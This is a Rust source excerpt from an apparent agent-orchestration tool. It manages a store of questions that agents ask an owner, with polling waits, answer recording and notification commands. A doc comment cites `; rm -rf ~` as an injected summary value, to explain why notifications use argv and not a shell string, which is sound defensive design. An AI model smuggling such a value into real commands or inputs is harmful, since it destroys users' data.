1761            && !crate::task_chat::standalone_inquiry_in(home, &q, ownership)
1762            && crate::task_chat::source_reply_needs_confirmation(home, &q)
1763        {
1764            let saved = q.resolution().unwrap_or_default();
1765            q.detail.push_str(&format!(
1766                "\n\nSaved reply (history only; no new owner request): {saved}"
1767            ));
1768            q.answer = None;
1769            q.answered_at = None;
1770            q.answer_authority = None;
1771            // Archival or a receipt is not a new unanswered question, nor
1772            // permission to take a consumer's abandoned/timeout fallback.
1773            q.status = QuestionStatus::Open;
1774        }
1775        q
1776    }
1777
1778    fn with_repair_choice(&self, q: Question) -> Question {
1779        self.with_repair_choice_in(q, &crate::task_chat::InquiryOwnership::default())
1780    }
1781
1782    fn with_repair_choice_in(
1783        &self,
1784        mut q: Question,
1785        ownership: &crate::task_chat::InquiryOwnership,
1786    ) -> Question {
1787        // Older local release approvals already persisted their displayed head
1788        // in the watch record. Recover that binding, never today's forge head.
1789        if q.status.open()
1790            && q.merge_target.is_none()
1791            && let Some(home) = self.root.parent()
1792            && let Some(target) = crate::release_watch::approval_target(home, &q)
1793            && let Ok((current, ())) = self.update_in(&q.id, ownership, |current| {
1794                if current.status.open() && current.merge_target.is_none() {
1795                    current.merge_target = Some(target.clone());
1796                }
1797                Ok(())
1798            })
1799        {
1800            q = current;
1801        }
1802        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1803            && q.node == crate::land::APPROVAL_NODE
1804            && !self.held_reply_in(&q.id, ownership)
1805            && let Some(home) = self.root.parent()
1806            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1807        {
1808            let mut upgraded = q.clone();
1809            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1810                match self.update_in(&q.id, ownership, |current| {
1811                    crate::land::upgrade_repair_choice(current, &state);
1812                    Ok(())
1813                }) {
1814                    Ok((current, ())) => return current,
1815                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1816                }
1817            }
1818        }
1819        q
1820    }
1821
1822    /// Every question on disk: open first, then newest first.
1823    ///
1824    /// Open first because that ordering is the product - the list exists to
1825    /// show the operator what has stopped, and an answered question is history
1826    /// underneath it. Unreadable files are skipped rather than fatal: one
1827    /// corrupt question must not take the web UI down, and must certainly not
1828    /// hide the open question the operator was looking for.
1829    pub fn list(&self) -> Vec<Question> {
1830        self.list_view(false)
1831    }
1832
1833    /// Execution-only scan; presentation must retain immutable source answers.
1834    pub fn list_for_effects(&self) -> Vec<Question> {
1835        self.list_view(true)
1836    }
1837
1838    fn list_view(&self, effects: bool) -> Vec<Question> {
1839        self.list_view_in(effects, &crate::task_chat::InquiryOwnership::default())
1840    }
1841
1842    pub(crate) fn list_for_effects_in(
1843        &self,
1844        ownership: &crate::task_chat::InquiryOwnership,
1845    ) -> Vec<Question> {
1846        self.list_view_in(true, ownership)
1847    }
1848
1849    fn list_view_in(
1850        &self,
1851        effects: bool,
1852        ownership: &crate::task_chat::InquiryOwnership,
1853    ) -> Vec<Question> {
1854        #[cfg(test)]
1855        QUESTION_SCANS.with(|count| count.set(count.get() + 1));
1856        // Parse the immutable boundary once per scan, rather than once per file.
1857        let sources = self.root.parent().map(crate::task_chat::migration_sources);
1858        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1859            .into_iter()
1860            .flatten()
1861            .flatten()
1862            .map(|e| e.path())
1863            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1864            .filter_map(|p| read_path(&p).ok())
1865            .map(|q| {
1866                let migrated = match &sources {
1867                    Some(Ok(Some(ids))) => ids.contains(&q.id),
1868                    Some(_) => true,
1869                    None => false,
1870                };
1871                let q = self.with_repair_choice_in(q, ownership);
1872                if effects {
1873                    self.consumption_view_in(q, migrated, ownership)
1874                } else {
1875                    q
1876                }
1877            })
1878            .collect();
1879        all.sort_unstable_by(|a, b| {
1880            let rank = |q: &Question| u8::from(!q.status.open());
1881            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1882        });
1883        all
1884    }
1885
1886    /// Strict read-only snapshot for control transactions. Unlike the UI
1887    /// list, this neither upgrades question choices nor skips unreadable
1888    /// records that might contain an unresolved owner decision.
1889    pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1890        let entries = match std::fs::read_dir(&self.root) {
1891            Ok(entries) => entries,
1892            Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1893            Err(error) => return Err(error).context("inspect pending questions"),
1894        };
1895        let mut questions = Vec::new();
1896        for entry in entries {
1897            let path = entry?.path();
1898            if path.extension().is_some_and(|ext| ext == "json") {
1899                questions.push(read_path(&path)?);
1900            }
1901        }
1902        Ok(questions)
1903    }
1904
1905    /// Open questions belonging to one run, newest first.
1906    ///
1907    /// Used to decide whether a parked run can be resumed: while this is
1908    /// non-empty, nothing about the run has changed and no agent should be
1909    /// spawned for it.
1910    pub fn open_for(&self, run: &str) -> Vec<Question> {
1911        self.list_for_effects()
1912            .into_iter()
1913            .filter(|q| q.status.open() && q.run == run)
1914            .collect()
1915    }
1916
1917    /// Abandon every open question belonging to a run, and report how many.
1918    ///
1919    /// Called when a run's record is deleted. The agent that asked died with
1920    /// the run, so there is nobody left to hand an answer to, and a question
1921    /// left open would keep asking the operator for a decision that can no
1922    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1923    /// イルが見つかりません" with two buttons, for a run whose directory had
1924    /// been gone for two hours.
1925    ///
1926    /// Abandoned rather than deleted, because [`Question::abandon`] already
1927    /// means "this can no longer be answered" and the record of having asked
1928    /// is worth keeping. Answered questions are left exactly as they are.
1929    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1930        let mut abandoned = 0;
1931        for mut q in self.open_for(run) {
1932            if self.held_reply(&q.id) {
1933                continue;
1934            }
1935            q.abandon(why);
1936            self.put(&mut q)?;
1937            abandoned += 1;
1938        }
1939        Ok(abandoned)
1940    }
1941
1942    /// Abandon a run's open questions once `status` says the run is not
1943    /// coming back, worded with what it actually became.
1944    ///
1945    /// The run-deleted case above and this one are the same fact - nobody is
1946    /// left to read an answer - reached by two different doors. This is the
1947    /// one for a run that finished on its own: merged, reached `Ready` with
1948    /// nothing left to do, failed outright with no established point to
1949    /// resume from, or every candidate agreed, with evidence, that nothing
1950    /// belonged in the worktree. Those are exactly the statuses
1951    /// [`RunStatus::resumable`]
1952    /// excludes, and that is the line this draws too - deliberately not
1953    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1954    /// over. Both of those can still be picked back up with the candidates,
1955    /// the review round and the seat sessions already on disk, so a question
1956    /// asked mid-round may yet get a real answer from a real resume, and
1957    /// folding it here would be exactly the mistake this function exists to
1958    /// avoid on the other side - answering back into a run that no longer
1959    /// exists to read it.
1960    ///
1961    /// A no-op, not an error, when `status` is still resumable or when there
1962    /// was nothing open to begin with - callers reach this from more than one
1963    /// place a run can settle, and a second call finding nothing left to
1964    /// abandon is the expected case, not a bug.
1965    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1966        if status.resumable() {
1967            return Ok(0);
1968        }
1969        let why = format!(
1970            "run {run} {}, so nothing is waiting for this answer",
1971            status.as_str()
1972        );
1973        // A post-merge notice is the exception: it is filed *because* the run
1974        // merged, and no agent waits on it - it is a to-do for the owner, not
1975        // a question a dead seat asked. Abandoning it here would erase the
1976        // only alert the moment the run settles.
1977        let mut abandoned = 0;
1978        for mut q in self.open_for(run) {
1979            if self.held_reply(&q.id) || q.node == crate::bump::NOTICE_NODE {
1980                continue;
1981            }
1982            // A routed task decision not yet delivered is a pending message
1983            // for the chat, not a question the dead seat waits on; the
1984            // sweep retires it once it is queued.
1985            if q.routed_task.is_some() && q.routed_chat.is_none() {
1986                continue;
1987            }
1988            q.abandon(&why);
1989            self.put(&mut q)?;
1990            abandoned += 1;
1991        }
1992        Ok(abandoned)
1993    }
1994
1995    /// Expand an id prefix to exactly one question id. The short id the phone
1996    /// and the reports show is a suffix, so that is accepted too.
1997    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1998        use crate::queue::{Reference, record_ids, resolve_reference};
1999        let ids = record_ids(&self.root, "json")?;
2000        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
2001            Reference::Found(id) => Ok(id),
2002            Reference::Missing => bail!("no question matches `{prefix}`"),
2003            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
2004        }
2005    }
2006
2007    /// Newest modification time in the store, in milliseconds, for change
2008    /// detection. The web UI compares this instead of re-reading every
2009    /// question, so an idle phone on a slow link costs one `stat` per file.
2010    pub fn revision(&self) -> u64 {
2011        std::fs::read_dir(&self.root)
2012            .into_iter()
2013            .flatten()
2014            .flatten()
2015            .filter_map(|e| e.metadata().ok())
2016            .filter_map(|m| m.modified().ok())
2017            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
2018            .map(|d| d.as_millis() as u64)
2019            .max()
2020            .unwrap_or(0)
2021    }
2022
2023    /// How many questions are open, whichever side of the conversation is
2024    /// holding the ball right now. Ten turns of back and forth between the
2025    /// owner and the agent are still one open question - see
2026    /// [`Question::say`] - so this does not drop while a reply is in
2027    /// flight. [`Self::count_needs_owner`] is the number that does.
2028    pub fn count_open(&self) -> usize {
2029        self.list().iter().filter(|q| q.status.open()).count()
2030    }
2031
2032    /// How many open questions actually need the owner right now: open, and
2033    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
2034    ///
2035    /// This is the number a notification channel owes - the ask bar, the nav
2036    /// badge, the document title - because those exist to say "something
2037    /// needs you". An unread say stops needing the agent once its follow-up
2038    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
2039    /// where a round trip must not look like the run resumed.
2040    pub fn count_needs_owner(&self) -> usize {
2041        self.list()
2042            .iter()
2043            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
2044            .count()
2045    }
2046
2047    /// The follow-up spent its starts and its final turn is no longer alive.
2048    /// Computed from the lease rather than saved with the question, so the
2049    /// owner can decide even when an unread message remains in the thread.
2050    pub fn deputy_exhausted(&self, q: &Question) -> bool {
2051        q.status.open()
2052            && q.deputy
2053                .as_ref()
2054                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
2055            && !self
2056                .read_lease(&q.id)
2057                .is_some_and(|l| l.fresh(Timestamp::now()))
2058    }
2059}
2060
2061/// How a wait over [`Question`] ended.
2062#[derive(Debug, Clone, PartialEq, Eq)]
2063pub enum Wait {
2064    /// The owner decided. Carries [`Question::resolution`].
2065    Answered(String),
2066    /// The owner spoke back without deciding - see [`Question::say`]. The
2067    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
2068    /// the caller's move is to hand this text to the agent and let it call
2069    /// `magi ask --thread` to keep talking, not to treat it as a decision.
2070    Replied(String),
2071    /// This call's [`WAIT_SLICE`] ran out with the question still
2072    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
2073    /// going quiet, the clock on *this process* running out. The question is
2074    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
2075    /// process, so the wait resumes before the shell tool that would have
2076    /// killed this one gets the chance.
2077    Pending,
2078    /// Nobody said anything before the deadline, or the question was closed
2079    /// out from under the wait with no decision recorded - a run deleted out
2080    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
2081    /// now on disk.
2082    Abandoned,
2083}
2084
2085/// File a question and wait for the owner, polling the store.
2086///
2087/// The question is updated in place from disk whenever the wait ends, so the
2088/// caller can act on it without re-reading it. `timeout` is the question's
2089/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
2090/// of it - see [`Wait::Pending`] for what happens to the rest.
2091pub async fn ask_and_wait(
2092    q: &mut Question,
2093    store: &Questions,
2094    notify: &config::Notify,
2095    timeout: Duration,
2096) -> Result<Wait> {
2097    wait_for_owner(q, store, notify, timeout, POLL).await
2098}
2099
2100/// Resume a wait already filed, without adding a turn or notifying again.
2101///
2102/// This is `magi ask --wait <id>`'s engine: the process that owned the
2103/// previous slice is dead (the tool that ran it killed it, or it simply
2104/// exited after reporting [`Wait::Pending`]), but the question on disk never
2105/// stopped being open, and the owner was already notified about it once. A
2106/// second notification for the same unanswered question would page the
2107/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
2108/// unlike [`ask_and_wait`], this skips straight to polling.
2109///
2110/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
2111/// caller computes it as what remains until [`Question::asked_at`] plus the
2112/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
2113/// up the deadline the first ask set, never push it out further.
2114pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
2115    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
2116}
2117
2118/// [`ask_and_wait`] with the poll interval injected.
2119///
2120/// Separate only so the tests can drive a whole wait in milliseconds instead of
2121/// sleeping through [`POLL`]; production has exactly one interval, and it is not
2122/// a knob the operator gets to tune.
2123async fn wait_for_owner(
2124    q: &mut Question,
2125    store: &Questions,
2126    cfg: &config::Notify,
2127    timeout: Duration,
2128    poll: Duration,
2129) -> Result<Wait> {
2130    // A question that is already on disk (a `--thread` reply just wrote it under
2131    // the lock) is left alone: this copy may predate an answer or say that
2132    // landed since, and writing it back would erase that.
2133    if !store.path_of(&q.id).is_file() {
2134        store.put(q).context("file the question")?;
2135    }
2136    if q.should_notify(Timestamp::now()) {
2137        if let Err(e) = notify(cfg, q).await {
2138            // A broken webhook is not a reason to throw away an implementation.
2139            // The question is already on disk and the web UI already shows it,
2140            // so the operator still has a way in; only the tap on the shoulder
2141            // is lost.
2142            tracing::warn!(
2143                "could not notify about question {}: {e:#} - the web UI is the \
2144                 only surface for it now",
2145                q.short()
2146            );
2147        }
2148    }
2149    tracing::info!(
2150        "question {} from {} is waiting for you: {}",
2151        q.short(),
2152        q.seat,
2153        q.summary
2154    );
2155    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
2156}
2157
2158/// Take the wait as this process: beat the lease and note it on the record.
2159fn hold(store: &Questions, id: &str) {
2160    store.beat(id, WaiterKind::Asker);
2161    let took = store.update(id, |q| {
2162        if q.status.open() {
2163            q.waiter = Some(Waiter {
2164                kind: WaiterKind::Asker,
2165                since: Timestamp::now(),
2166            });
2167        }
2168        Ok(())
2169    });
2170    if let Err(e) = took {
2171        tracing::debug!("could not note the wait on question {id}: {e:#}");
2172    }
2173}
2174
2175/// Record the owner's `magi answer --reply` on question `id` (a full id) and
2176/// return what to print. The terminal's direct path and a chat turn's control
2177/// bridge ([`crate::chat_control::Operation::Answer`]) both land here, so a
2178/// chat answer is the same ordinary answer whatever the turn's sandbox.
2179///
2180/// A choice reply is resolved against the offered labels; a free-text question
2181/// takes the reply verbatim. `title` is the literal replacement for the posting
2182/// gate's `use my text` choice and is refused anywhere else. Side effects of
2183/// the answer itself (an obsolete approval's dismissal saving its run record)
2184/// happen in [`Questions::update`]; existing consumers act on the rest.
2185pub fn record_answer(
2186    store: &Questions,
2187    id: &str,
2188    reply: &str,
2189    title: Option<&str>,
2190) -> Result<String> {
2191    let home = store
2192        .root()
2193        .parent()
2194        .context("questions have no state home")?;
2195    let queue = crate::queue::Queue::at(home.join("queue"));
2196    let question = store.get(id)?;
2197    let _claims = crate::chat_control::decision_claims(&queue, &question)?;
2198    let (q, ()) = store.update(id, |r| {
2199        let answer = if r.free_text() {
2200            Answer::Text(reply.to_owned())
2201        } else {
2202            Answer::Choice(r.resolve_reply(reply)?.to_owned())
2203        };
2204        let replacement = r.node == crate::github_text::ASK_NODE
2205            && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2206        if replacement {
2207            let title =
2208                title.context("use my text needs --title with the literal replacement title")?;
2209            if title.trim().is_empty() {
2210                bail!("replacement title must not be empty");
2211            }
2212            r.publication_title = Some(title.to_owned());
2213        } else if title.is_some() {
2214            bail!("--title is only valid for a publication decision's `use my text` choice");
2215        }
2216        r.answer(answer)
2217    })?;
2218    let mut out = format!("answered {} {}", q.short(), q.summary);
2219    let resolution = q.resolution();
2220    let approval = q.node == crate::land::APPROVAL_NODE;
2221    if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2222        out.push_str(
2223            "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2224        );
2225    }
2226    if approval
2227        && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2228        && resolution
2229            .as_deref()
2230            .is_some_and(crate::merge_decision::stops)
2231    {
2232        out.push_str(&format!(
2233            "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2234            q.run
2235        ));
2236    }
2237    if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2238        out.push_str(&format!(
2239            "\nRepair requested; this answer command has not started repair or approved a merge. \
2240             A running magi serve / magi web resumes the existing run. Without one, \
2241             run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2242            q.run
2243        ));
2244    }
2245    Ok(out)
2246}
2247
2248/// Record that the agent has read everything so far, so the daemon waiter does
2249/// not resume a session to tell it what was already printed.
2250///
2251/// Callers must invoke this only **after** the word reached the agent's stdout:
2252/// marking first would let a tool timeout kill the process between the mark
2253/// and the print, and the waiter would then consider a word delivered that no
2254/// agent ever saw.
2255pub fn hand_over(store: &Questions, q: &mut Question) {
2256    let done = store.update(&q.id, |r| {
2257        r.delivered_turns = r.delivered_turns.max(q.thread.len());
2258        if r.status == QuestionStatus::Answered {
2259            r.answer_delivered = true;
2260        }
2261        r.waiter = None;
2262        Ok(())
2263    });
2264    match done {
2265        Ok((fresh, ())) => *q = fresh,
2266        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2267    }
2268}
2269
2270/// What the agent is shown for an answer: the owner's says it has not read
2271/// yet, in order, then the answer. With no such say it is `answer` itself,
2272/// byte for byte.
2273pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2274    let says = q.undelivered_owner_turns();
2275    if says.is_empty() {
2276        return answer.to_owned();
2277    }
2278    format!(
2279        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2280        says.join("\n\n")
2281    )
2282}
2283
2284/// Print an answer (with any unread says before it) to `out`, flush, and only
2285/// then record the hand-over. A failed write marks nothing delivered.
2286pub fn deliver_answer(
2287    store: &Questions,
2288    q: &mut Question,
2289    answer: &str,
2290    out: &mut impl std::io::Write,
2291) -> std::io::Result<()> {
2292    writeln!(out, "{}", answer_for_agent(q, answer))?;
2293    out.flush()?;
2294    hand_over(store, q);
2295    Ok(())
2296}
2297
2298/// The polling loop shared by a fresh wait and a resumed one.
2299///
2300/// `timeout` is the budget left before the question's `answer_timeout`
2301/// truly runs out; `slice` bounds how much of that this one call spends
2302/// before handing control back. Landing on `slice` while `timeout` still has
2303/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
2304/// silence. Landing on `timeout` itself - because it was no bigger than
2305/// `slice` to begin with - is the real thing, and abandons the question
2306/// exactly as a single unsliced wait always did.
2307async fn wait_loop(
2308    q: &mut Question,
2309    store: &Questions,
2310    timeout: Duration,
2311    slice: Duration,
2312    poll: Duration,
2313) -> Result<Wait> {
2314    if store.held_reply(&q.id) {
2315        return Ok(Wait::Pending);
2316    }
2317    // The owner may already have spoken back before this call ever started -
2318    // most often because they did so in the gap between an earlier call
2319    // reporting `Wait::Pending` and this one picking the wait back up with
2320    // `--wait`. That word must surface at once rather than sit unnoticed
2321    // until some *later* turn happens to change something: this call never
2322    // saw it get added, so nothing below would otherwise recognise it as
2323    // new. `last_word_awaiting_reply` reads the question's own record of
2324    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
2325    // turn count this call would have to have been there to capture.
2326    if let Some(said) = q.unread_from_owner() {
2327        return Ok(Wait::Replied(said));
2328    }
2329    hold(store, &q.id);
2330
2331    let bounded = timeout.min(slice);
2332    let is_the_real_deadline = bounded >= timeout;
2333    let deadline = tokio::time::Instant::now() + bounded;
2334    loop {
2335        let now = tokio::time::Instant::now();
2336        if now >= deadline {
2337            if store.held_reply(&q.id) || !is_the_real_deadline {
2338                // The lease is left to age out on purpose: the caller is about
2339                // to run `magi ask --wait`, and that gap is what LEASE_TTL
2340                // covers.
2341                return Ok(Wait::Pending);
2342            }
2343            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2344            // Re-checked on the record as it is now: the owner may have said
2345            // something in time since the last poll, and that word is handed
2346            // over, not abandoned.
2347            let (fresh, unread) = store
2348                .update(&q.id, |r| {
2349                    let unread = r.unread_from_owner();
2350                    if unread.is_none() {
2351                        r.abandon(&why);
2352                        r.waiter = None;
2353                    }
2354                    Ok(unread)
2355                })
2356                .context("record the abandoned question")?;
2357            *q = fresh;
2358            if let Some(said) = unread {
2359                return Ok(Wait::Replied(said));
2360            }
2361            tracing::warn!(
2362                "question {} went unanswered for {}s; the run parks and the \
2363                 question stays as the record of it",
2364                q.short(),
2365                timeout.as_secs()
2366            );
2367            return Ok(Wait::Abandoned);
2368        }
2369        tokio::time::sleep(poll.min(deadline - now)).await;
2370        store.beat(&q.id, WaiterKind::Asker);
2371        match store.get_for_effects(&q.id) {
2372            Ok(fresh) if !fresh.status.open() => {
2373                // Whoever answered - the phone, `magi answer`, another daemon -
2374                // owns the record now, so adopt theirs wholesale rather than
2375                // merging into a copy that predates it.
2376                *q = fresh;
2377                return Ok(match q.resolution() {
2378                    Some(a) => Wait::Answered(a),
2379                    // Closed with no decision - abandoned elsewhere, most
2380                    // often by the run behind it being deleted mid-wait.
2381                    None => Wait::Abandoned,
2382                });
2383            }
2384            Ok(fresh) => {
2385                if let Some(said) = fresh.unread_from_owner() {
2386                    *q = fresh;
2387                    return Ok(Wait::Replied(said));
2388                }
2389                // Still open and not waiting on the agent - nothing this
2390                // wait cares about happened, so keep polling.
2391            }
2392            Err(e) => {
2393                // Mid-rename, or a file the operator is editing by hand.
2394                // Neither is a reason to abandon a question a human may still
2395                // answer, so keep polling until the deadline decides.
2396                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2397            }
2398        }
2399    }
2400}
2401
2402/// Run the operator's notification command, if one is configured.
2403///
2404/// The command is argv, never a shell string, and the substitutions below are a
2405/// single pass over each argument: a summary containing `; rm -rf ~` is one
2406/// argument to one program, and a summary containing the characters `{run}` is
2407/// not re-expanded. That property is the reason agent-authored text can be put
2408/// in a notification at all.
2409///
2410/// An error here is reported, not swallowed, so `magi notify --test` can show
2411/// the operator why nothing arrives. The waiting path logs it and carries on.
2412pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2413    if q.routed_task.is_some() {
2414        return Ok(());
2415    }
2416    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2417    if q.status.open() {
2418        summary.push_str(&format!(
2419            " Respond in Questions or with `magi answer {}`.",
2420            q.id
2421        ));
2422    }
2423    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2424    notify_at(cmd, &q.run, &summary, &url).await
2425}
2426
2427/// [`notify`] for an event that is not a question: the same command, the same
2428/// placeholders, with `summary` and `run` supplied directly.
2429pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2430    let url = view_url(
2431        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2432        "notifications",
2433    );
2434    notify_at(cmd, run, summary, &url).await
2435}
2436
2437async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2438    let Some((program, args)) = cmd.command.split_first() else {
2439        // No command configured: the web UI is the only surface, by choice.
2440        return Ok(());
2441    };
2442    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2443        tracing::warn!(
2444            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2445             so the link will be empty - export it next to `magi serve` with \
2446             the address `magi web --open` printed"
2447        );
2448    }
2449    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2450    tracing::debug!(program = %program, args = ?argv, "notifying");
2451
2452    let mut child = tokio::process::Command::new(program);
2453    child.quiet();
2454    child
2455        .args(&argv)
2456        .stdin(std::process::Stdio::null())
2457        // Killed if the timeout below drops this future: a notification
2458        // command left running would outlive the run it was announcing.
2459        .kill_on_drop(true);
2460    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2461        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2462        Err(_) => bail!(
2463            "notification command `{program}` did not finish within {}s",
2464            NOTIFY_TIMEOUT.as_secs()
2465        ),
2466    };
2467    if !out.status.success() {
2468        let stderr = String::from_utf8_lossy(&out.stderr);
2469        let why = stderr
2470            .lines()
2471            .rev()
2472            .find(|l| !l.trim().is_empty())
2473            .unwrap_or("no output on stderr")
2474            .trim();
2475        bail!(
2476            "notification command `{program}` exited with {}: {why}",
2477            out.status
2478        );
2479    }
2480    Ok(())
2481}
2482
2483/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2484///
2485/// One left-to-right pass, so a substituted value is never scanned for further
2486/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2487/// in a question must not make the notification recursive.
2488fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2489    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2490    let mut out = String::with_capacity(template.len());
2491    let mut rest = template;
2492    while let Some(at) = rest.find('{') {
2493        out.push_str(&rest[..at]);
2494        let tail = &rest[at..];
2495        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2496            Some((token, value)) => {
2497                out.push_str(value);
2498                rest = &tail[token.len()..];
2499            }
2500            None => {
2501                // Not a placeholder magi knows: it is the operator's own text.
2502                out.push('{');
2503                rest = &tail[1..];
2504            }
2505        }
2506    }
2507    out.push_str(rest);
2508    out
2509}
2510
2511/// Point a configured base URL at the view that can answer the question.
2512///
2513/// A notification the operator has to navigate from is a question that stays
2514/// unanswered until morning, so the questions view is appended - unless the
2515/// operator already wrote a fragment, in which case they have said where they
2516/// want to land and magi does not know better.
2517fn question_url(base: &str) -> String {
2518    view_url(base, "questions")
2519}
2520
2521fn view_url(base: &str, view: &str) -> String {
2522    let base = base.trim().trim_end_matches('/');
2523    if base.is_empty() || base.contains('#') {
2524        return base.to_owned();
2525    }
2526    format!("{base}/#/{view}")
2527}
2528
2529/// Assemble a panel's contents in an already-empty directory.
2530///
2531/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2532/// first error without an early `return` skipping that cleanup.
2533fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2534    let index = dir.join(PANEL_HTML);
2535    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2536    for (name, src) in assets {
2537        let dst = dir.join(name);
2538        std::fs::copy(src, &dst)
2539            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2540    }
2541    Ok(())
2542}
2543
2544/// Remove a directory and everything under it, treating "not there" as done.
2545///
2546/// A panel is replaced wholesale and dropped idempotently, and in both cases
2547/// the absence of the directory is the desired end state, not an error.
2548fn clear_dir(path: &Path) -> Result<()> {
2549    match std::fs::remove_dir_all(path) {
2550        Ok(()) => Ok(()),
2551        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2552        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2553    }
2554}
2555
2556fn read_path(path: &Path) -> Result<Question> {
2557    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2558    let q: Question =
2559        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2560    if q.schema > SCHEMA {
2561        // Strictly newer, not merely different: every field added since
2562        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2563        // here as "no thread yet" rather than as garbage. Only a schema this
2564        // build has never heard of is refused.
2565        bail!(
2566            "question {} was written by a newer magi (schema {}, this build \
2567             only speaks up to {SCHEMA})",
2568            q.id,
2569            q.schema
2570        );
2571    }
2572    Ok(q)
2573}
2574
2575/// [`short`] for callers outside this module (a run id shortens the same way).
2576pub fn short_id(id: &str) -> &str {
2577    short(id)
2578}
2579
2580fn short(id: &str) -> &str {
2581    id.split('-').next_back().unwrap_or(id)
2582}
2583
2584fn new_id() -> String {
2585    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2586    new_id_at(&stamp.to_string(), crate::rng::entropy())
2587}
2588
2589fn new_id_at(stamp: &str, seed: u64) -> String {
2590    // Questions can be created concurrently in one shared store. A 16-bit
2591    // suffix is only a display label, not enough identity to keep distinct
2592    // questions (and their panel scratch directories) from overwriting each
2593    // other. The counter also separates calls with identical clock entropy.
2594    static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2595    let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2596    format!(
2597        "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2598        (seed ^ (seed >> 32)) & 0xffff
2599    )
2600}
2601
2602#[cfg(test)]
2603mod tests {
2604    use super::*;
2605
2606    /// A store of its own, with no process-global state - which is the point of
2607    /// `Questions::at`, and why these can run in parallel.
2608    fn store() -> (tempfile::TempDir, Questions) {
2609        let dir = tempfile::tempdir().unwrap();
2610        let s = Questions::at(dir.path().join("questions"));
2611        (dir, s)
2612    }
2613
2614    #[test]
2615    fn run_names_task_only_for_task_questions() {
2616        for (node, want) in [
2617            (crate::conduct::NODE, true),
2618            (crate::triage::NODE, true),
2619            (crate::triage::DEPS_NODE, true),
2620            (crate::land::APPROVAL_NODE, false),
2621            (crate::bump::NOTICE_NODE, false),
2622            ("implement", false),
2623        ] {
2624            let mut q = choice_question();
2625            q.node = node.to_owned();
2626            assert_eq!(q.run_names_task(), want, "{node}");
2627        }
2628    }
2629
